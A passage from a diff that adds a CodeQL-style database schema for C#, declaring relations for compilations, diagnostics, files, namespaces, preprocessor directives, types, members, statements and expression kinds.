/r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +// Populated by the CSV extractor +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Overlay support + */ + +/** + * The CLI will automatically emit the tuple `databaseMetadata("isOverlay", "true")`, + * along with an `overlayChangedFiles` tuple for each new/modified/deleted file, + * when building an overlay database, and these can be used by the discard predicates. + */ +databaseMetadata( + string metadataKey : string ref, + string value : string ref +); + +overlayChangedFiles( + string path : string ref +); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @externalDataElement + | @xmllocatable | @asp_element | @namespace | @preprocessor_directive; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function | @lambda_expr; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +@locatable = @declaration_with_accessors | @callable_accessor | @declaration_or_directive + | @diagnostic | @extractor_message | @preprocessor_directive | @attribute | @type_mention | @type_parameter_constraints + | @declaration_with_accessors | @callable_accessor | @operator | @method + | @constructor | @destructor | @field | @local_variable | @parameter | @stmt | @expr + | @xmllocatable | @commentline | @commentblock | @asp_element + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +locations_mapped( + unique int id: @location_default ref, + int mapped_to: @location_default ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +files( + unique int id: @file, + string name: string ref); + +folders( + unique int id: @folder, + string name: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_global( + unique int id: @using_directive ref +); + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +@preprocessor_directive = @pragma_warning | @pragma_checksum | @directive_define | @directive_undefine | @directive_warning + | @directive_error | @directive_nullable | @directive_line | @directive_region | @directive_endregion | @directive_if + | @directive_elif | @directive_else | @directive_endif; + +@conditional_directive = @directive_if | @directive_elif; +@branch_directive = @directive_if | @directive_elif | @directive_else; + +directive_ifs( + unique int id: @directive_if, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref); /* 0: false, 1: true */ + +directive_elifs( + unique int id: @directive_elif, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +directive_elses( + unique int id: @directive_else, + int branchTaken: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +#keyset[id, start] +directive_endifs( + unique int id: @directive_endif, + unique int start: @directive_if ref); + +directive_define_symbols( + unique int id: @define_symbol_expr ref, + string name: string ref); + +directive_regions( + unique int id: @directive_region, + string name: string ref); + +#keyset[id, start] +directive_endregions( + unique int id: @directive_endregion, + unique int start: @directive_region ref); + +directive_lines( + unique int id: @directive_line, + int kind: int ref); /* 0: default, 1: hidden, 2: numeric, 3: span */ + +directive_line_value( + unique int id: @directive_line ref, + int line: int ref); + +directive_line_file( + unique int id: @directive_line ref, + int file: @file ref); + +directive_line_offset( + unique int id: @directive_line ref, + int offset: int ref); + +directive_line_span( + unique int id: @directive_line ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +directive_nullables( + unique int id: @directive_nullable, + int setting: int ref, /* 0: disable, 1: enable, 2: restore */ + int target: int ref); /* 0: none, 1: annotations, 2: warnings */ + +directive_warnings( + unique int id: @directive_warning, + string message: string ref); + +directive_errors( + unique int id: @directive_error, + string message: string ref); + +directive_undefines( + unique int id: @directive_undefine, + string name: string ref); + +directive_defines( + unique int id: @directive_define, + string name: string ref); + +pragma_checksums( + unique int id: @pragma_checksum, + int file: @file ref, + string guid: string ref, + string bytes: string ref); + +pragma_warnings( + unique int id: @pragma_warning, + int kind: int ref /* 0 = disable, 1 = restore */); + +#keyset[id, index] +pragma_warning_error_codes( + int id: @pragma_warning ref, + string errorCode: string ref, + int index: int ref); + +preprocessor_directive_location( + unique int id: @preprocessor_directive ref, + int loc: @location ref); + +preprocessor_directive_compilation( + int id: @preprocessor_directive ref, + int compilation: @compilation ref); + +preprocessor_directive_active( + unique int id: @preprocessor_directive ref, + int active: int ref); /* 0: false, 1: true */ + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type +| 34 = @inline_array_type +| 35 = @extension_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type | @void_type | @inline_array_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type | @extension_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extension_receiver_type( + unique int extension: @extension_type ref, + int receiver_type_id: @type_or_ref ref); + +extend( + int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int kind: int ref, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +case @attribute.kind of + 0 = @attribute_default +| 1 = @attribute_return +| 2 = @attribute_assembly +| 3 = @attribute_module +; + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event | @operator; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type | @extension_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, params/array = 3, this = 4, in = 5, ref readonly = 6 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +@has_scoped_annotation = @local_scope_variable + +scoped_annotation( + int id: @has_scoped_annotation ref, + int kind: int ref // scoped ref = 1, scoped value = 2 + ); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +foreach_stmt_info( + unique int id: @foreach_stmt ref, + int kind: int ref /* non-async = 1, async = 2 */); + +@foreach_symbol = @method | @property | @type_or_ref; + +#keyset[id, kind] +foreach_stmt_desugar( + int id: @foreach_stmt ref, + int symbol: @foreach_symbol ref, + int kind: int ref /* GetEnumeratorMethod = 1, CurrentProperty = 2, MoveNextMethod = 3, DisposeMethod = 4, ElementType = 5 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter | @directive_if | @directive_elif; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @utf16_string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 127 = @and_pattern_expr +| 128 = @or_pattern_expr +| 129 = @function_pointer_invocation_expr +| 130 = @with_expr +/* C# 11.0 */ +| 131 = @list_pattern_expr +| 132 = @slice_pattern_expr +| 133 = @urshift_expr +| 134 = @assign_urshift_expr +| 135 = @utf8_string_literal_expr +/* C# 12.0 */ +| 136 = @collection_expr +| 137 = @spread_element_expr +| 138 = @interpolated_string_insert_expr +/* Preprocessor */ +| 999 = @define_symbol_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; +@binary_pattern_expr = @and_pattern_expr | @or_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@string_literal_expr = @utf16_string_literal_expr | @utf8_string_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_call_expr = @assign_arith_expr | @assign_bitwise_expr +@assign_op_expr = @assign_op_call_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@add_operation = @add_expr | @assign_add_expr; +@sub_operation = @sub_expr | @assign_sub_expr; +@mul_operation = @mul_expr | @assign_mul_expr; +@div_operation = @div_expr | @assign_div_expr; +@rem_operation = @rem_expr | @assign_rem_expr; +@and_operation = @bit_and_expr | @assign_and_expr; +@xor_operation = @bit_xor_expr | @assign_xor_expr; +@or_operation = @bit_or_expr | @assign_or_expr; +@lshift_operation = @lshift_expr | @assign_lshift_expr; +@rshift_operation = @rshift_expr | @assign_rshift_expr; +@urshift_operation = @urshift_expr | @assign_urshift_expr; +@null_coalescing_operation = @null_coalescing_expr | @assign_coalesce_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr | @urshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @assign_expr | @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@op_invoke_expr = @operator_invocation_expr | @assign_op_call_expr +@call = @method_invocation_expr | @constructor_init_expr | @op_invoke_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @op_invoke_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: 